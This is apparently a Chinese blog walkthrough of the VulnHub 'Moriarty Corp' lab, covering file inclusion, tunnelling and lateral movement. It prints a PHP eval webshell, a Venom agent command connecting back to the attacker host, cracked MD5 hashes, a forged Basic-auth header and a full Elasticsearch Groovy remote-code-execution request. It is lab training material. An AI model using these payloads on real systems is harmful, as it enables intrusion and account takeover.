vulnhub_内网渗透测试记录

2020-06-09 14:56:48 24 11704 5

Moriarty Corp


昨天刚写完一篇内网渗透测试的文章,表哥们闲暇的时候可以玩玩练练手,难度不大,主要还是网络的配置比较耗费时间。

主要考察知识点

        文件包含
        内网穿透
        命令上传
        弱口令
        更改权限
        HTTP协议Header
        ElasticSearch-CVE
        暴力破解

网络拓扑

写完之后把靶机的网络拓扑也做了一下

image.png

写在之前

这次用的虚拟机是VM_VirtualBox,第一次用,配置了许久,因为靶机是内网环境,所以有些网络配置需要手动调整

image (1).png

网络配置设置成如上,再次扫描IP,根据MAC地址就可以找到我们的靶机IP了。

靶机下载地址:

BoredHackerBlog: Moriarty Corp

渗透过程

IP发现

这里使用的windows的环境进行渗透测试,使用Advanced_IP_Scanner进行内网IP扫描

image (2).png

根据MAC地址发现IP,对获取到的IP进行端口扫描

端口扫描

这里使用的是御剑端口扫描器进行发现

image (3).png

发现存在8000端口和9000端口可疑端口,尝试进行WEB访问

WEB渗透

访问8000端口

image (4).png

是一个提交flag的页面,同时显示了我们的任务进度,首先根据提示提交第一个flag

再次显示新的提示

image (5).png

结合强大的百度翻译和谷歌翻译,大概明白了让我们从80端口开始渗透,然后在此提交flag,这个时候再次访问80端口

image (6).png

已经可以成功访问了,正式开始我们的渗透过程

image (7).png

根据url发现疑似存在文件包含漏洞,尝试读取一下敏感数据

image (8).png

成功读取/etc/passwd文件,我们构造一下查看能否远程包含webshell

首先在本地服务器构造webshell

<?php
eval($_REQUEST['pdsdt']);
echo 'Welcome Hacker';
phpinfo();
?>

尝试远程文件包含

image (9).png

成功包含远程文件,使用蚁剑链接webshell

image (10).png

找寻flag和下一步的信息

在根目录下发现flag文件

image (11).png

在8000页面进行提交,提交完毕之后再次给了我们提示

image (12).png

大概意思就是告诉我们网站的web服务已经没有什么有价值的信息了,下一步需要内网渗透,同时给了我们内网的网段,下一步就是转发流量进行内网渗透了

内网渗透-设置代理

设置内网代理,这里设置内网代理的方式有很多种,也可以使用MSF全程进行测试,因为为了方便,这里使用的是Venom&proxifier进行流量转发

首先上传agent服务端节点

image (13).png

在windows端启动admin程序监听

admin.exe -lport 9999

在agent端修改程序权限为777,并执行命令

./agent_linux_x64 -rhost 192.168.1.101 -rport 9999

image (14).png

成功监听到数据

设置sock5代理

image (15).png

设置proxifier

image (16).png

尝试内网访问靶机

image (17).png

成功访问

下一步进行具体的内网漫游了

首先获取一下内网存活的靶机,根据题目提示的网段进行扫描

image (18).png

发现172.17.0.4的靶机存在web页面,尝试访问一下

image (19).png

发现是一个上传文件的点,同时需要我们输入密码才能成功上传,先burp抓包,跑一下常见的弱口令

image (20).png

抓到包了,尝试fuzz一下密码

当尝试弱口令password时,显示成功上传...

image (21).png

根据反馈的页面,尝试访问我们的webshell

image (22).png

代码执行成功,说明成功上传,蚁剑连接一下

image (23).png

再次找到一个flag文件,尝试在8000页面提交

页面再次给出了提示

image (24).png

大概的意思就是给了我们用户名和加密的密码,让破解这些hash加密的密码后尝试ssh登陆

username:
root
toor
admin
mcorp
moriarty
password:
63a9f0ea7bb98050796b649e85481845
7b24afc8bc80e548d66c4e7ff72171c5
5f4dcc3b5aa765d61d8327deb882cf99
21232f297a57a5a743894a0e4a801fc3
084e0343a0486ff05530df6c705c8bb4
697c6cc76fdbde5baccb7b3400391e30
8839cfc8a0f24eb155ae3f7f205f5cbc
35ac704fe1cc7807c914af478f20fd35
b27a803ed346fbbf6d2e2eb88df1c51b
08552d48aa6d6d9c05dd67f1b4ba8747

同时提示我们密码需要暴力枚举,二话不说使用cmd5和somd5,最后查询的结果:

hash值 明文
63a9f0ea7bb98050796b649e85481845 root
7b24afc8bc80e548d66c4e7ff72171c5 toor
5f4dcc3b5aa765d61d8327deb882cf99 password
21232f297a57a5a743894a0e4a801fc3 admin
084e0343a0486ff05530df6c705c8bb4 guest
697c6cc76fdbde5baccb7b3400391e30 MORIARTY
8839cfc8a0f24eb155ae3f7f205f5cbc MCORP
35ac704fe1cc7807c914af478f20fd35 mcorp
b27a803ed346fbbf6d2e2eb88df1c51b weapons
08552d48aa6d6d9c05dd67f1b4ba8747 moriarty

再次扫描一下内网存在22端口的机子

image (25).png

发现172.17.0.5的SSH端口是开放的,根据获取到的信息构造字典,使用SSH爆破工具进行爆破(最后使用Hydra进行爆破成功的)

image (26).png

获取到密码为:

root / weapons

使用xshell进行登陆

image (27).png

再次获取到flag

我们在8000端口进行提交,再次更新了提示

image (28).png

大概意思就是内网里面还有个聊天的程序,端口不在80让我们扫描一下他指定的几个端口,同时给了一个账户,让我们获取管理员用户的记录,先用指定的端口扫描一下网段

image (29).png

发现172.17.0.6的8000端口是开放的,尝试访问一下

image (30).png

提示我们需要登陆,根据刚才提示给我们的账户进行登陆

Here are the credentials our agent has obtained from another source:
username: buyer13
password: arms13

登陆成功

image (31).png

发现网站有两个功能,查看聊天记录,修改密码,尝试访问修改密码页面,抓一下包,看看是否存在任意用户密码重置

修改用户名为admin

image (32).png

浏览数据包,发现在header头中存在问题

image (33).png

Authorization: Basic YnV5ZXIxMzphcm1zMTM=

解密一下

image (34).png

携带的是用户的姓名和密码,我们尝试构造一下管理员的身份并修改密码为admin

Authorization: Basic YWRtaW46YWRtaW4=

回到web页面,重新登陆,或者更改header头访问

image (35).png

image (36).png

成功登陆admin用户,访问chats

image (37).png

再次获取到flag,提交

image (38).png

我看了半天,这不是ES嘛,最近做项目正在用的东西,真是巧儿他妈给巧儿开门,巧儿到家了,扫描一下网段的9200端口

image (39).png

访问一下页面,标准的ES搜索页面

image (40).png

尝试一下ES的任意代码执行漏洞

构造数据包,创建一条数据

POST /mitian/mitian6/ HTTP/1.1
Host: 172.17.0.7:9200
Content-Length: 19
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Origin: http://172.17.0.7:9200
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.0.7:9200/mitian/mitian6/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{  "name": "pdsdt"}

image (41).png

之后再search页面进行构造

POST /_search?pretty HTTP/1.1
Host: 172.17.0.7:9200
Content-Length: 156
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Origin: http://172.17.0.7:9200
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.0.7:9200/mitian/mitian6/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}

image (42).png

成功执行命令,读取一下flag

image (43).png

成功获取到flag文件,提交

image (44).png

显示任务完成,并将我们的IP加入了黑名单,真就卸磨杀驴

总结

这个靶机花了我大半天的时间,主要还是在网络配置上面的捯饬,内网的靶机每一个都不太难,重要的就是如何通过流量转发后正确的使用一些工具达到扫描端口爆破服务的目的,总体的收获还是挺大的,虽然和真实环境相比确实差别较大,但刚好最近就在用ES这方面的产品,也趁着这个机会对于ES的相关漏洞也加强了学习。

问题

最后还有点相关的问题想问问表哥们,今年护网第一次做蓝方,没有太大的经验,想问问表哥们有没有相关的蓝方防守文章可以拜读一下,小弟也就会个简单的封IP了。


关于作者

Pdsdt14篇文章449篇回复

评论24次

要评论?请先  登录  或  注册